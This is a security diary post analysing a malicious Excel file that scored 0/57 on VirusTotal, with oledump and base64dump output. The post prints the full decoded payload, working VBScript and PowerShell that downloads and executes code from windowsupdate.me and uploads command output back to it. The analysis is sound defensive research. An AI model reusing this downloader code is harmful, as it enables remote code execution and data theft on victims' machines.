Threat Level: green Handler on Duty: Jan Kopriva

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Malicious Excel Sheet with a NULL VT Score

Published: 2020-08-26
Last Updated: 2020-08-26 06:03:41 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

Just a quick diary today to demonstrate, once again, that relying only on a classic antivirus solution is not sufficient in 2020. I found a sample that just has a very nice score of 0/57 on VT. Yes, according to all AV's the file is safe. Really? If it matched one of my hunting rules, there is for sure something suspicious inside. Let's have a look at it.

The file has been uploaded yesterday on VT (SHA256:1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5)[1]. It's a classic Excel sheet:

When you try to enable the macro, you see this:

Indeed, the file does not content a classic VBA macro:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py 1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5.vir
  1:       107 '\x01CompObj'
  2:       260 '\x05DocumentSummaryInformation'
  3:       200 '\x05SummaryInformation'
  4:     28779 'Workbook'
  5:       558 '_VBA_PROJECT_CUR/PROJECT'
  6:        83 '_VBA_PROJECT_CUR/PROJECTwm'

But if you search for interesting Base64 chunks (that's the reason why my hunting rule fired):

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite base64dump.py -n 500 1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5.xls
ID  Size    Encoded          Decoded          MD5 decoded
--  ----    -------          -------          -----------
 1:    2556 SE9NRT0iJXB1Ymxp HOME="%public%\L f1cb0ede52bef36084cd08eb635b4c3c

Here is a dump of the decoded Base64 chunk:

HOME="%public%\Libraries\"
SERVER="http://windowsupdate.me/update-index.aspx?req=__\"
Dwn="powershell ""&{$wc=(new-object System.Net.WebClient);$wc.UseDefaultCredentials=$true;$wc.Headers.add('Accept','*/*');$wc.Headers.add('User-Agent','Microsoft BITS/7.7');while(1){try{$r=Get-Random;$wc.DownloadFile('"&SERVER&"-_&m=d','"&HOME&"dn\'+$r+'.-_');Set-Content -Path ('"&HOME&"dn\'+$r+'.-_') -Value ([System.Convert]::FromBase64String((Get-Content -Path ('"&HOME&"dn\'+$r+'.-_')))) -Encoding Byte;$cd=$wc.ResponseHeaders['Content-Disposition'];Rename-Item -path ('"&HOME&"dn\'+$r+'.-_') -newname ($cd.Substring($cd.IndexOf('filename=')+9))}catch{break}}}"""
CreateObject("WScript.Shell").Run Replace(Dwn,"-_","dwn"),0
DownloadExecute="powershell ""&{$wc=(new-object System.Net.WebClient);$wc.UseDefaultCredentials=$true;$wc.Headers.add('Accept','*/*');$wc.Headers.add('User-Agent','Microsoft BITS/7.7');$r=Get-Random;$wc.DownloadFile('http://windowsupdate.me/update-index.aspx?req=__\-_&m=d','c:\users\public\libraries\dn\'+$r+'.-_');Set-Content -Path ('"&HOME&"dn\'+$r+'.-_') -Value ([System.Convert]::FromBase64String((Get-Content -Path ('"&HOME&"dn\'+$r+'.-_')))) -Encoding Byte;Invoke-Expression ('"&HOME&"dn\'+$r+'.-_ >"&HOME&"up\'+$r+'-_');$cd=$wc.ResponseHeaders['Content-Disposition'];Rename-Item -path ('"&HOME&"up\'+$r+'-_') -newname ($cd.Substring(($cd.IndexOf('filename=')+9),($cd.Length-25))+'.bat.txt');Get-ChildItem "&HOME&"up\ | ForEach-Object {if((Get-Item ($_.FullName)).length -gt 0){[System.Convert]::ToBase64String(([System.IO.File]::ReadAllBytes($_.FullName))) | Out-File $_.FullName;$wc.UploadFile('"&SERVER&"upl&m=u',$_.FullName);waitfor haha /T 3};Remove-Item $_.FullName};Remove-Item ('"&HOME&"dn\'+$r+'.-_')}"""
CreateObject("WScript.Shell").Run Replace(DownloadExecute,"-_","bat"),0
komc="powershell -exec Bypass -File "&HOME&"komisova.ps1"
CreateObject("WScript.Shell").Run komc,0

This is a classic downloader that fetches a payload from hxxp://windowsupdate[.]me. So, be very careful!

[1] https://www.virustotal.com/gui/file/1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Keywords: Excel Macro Malware VBA
2 comment(s)
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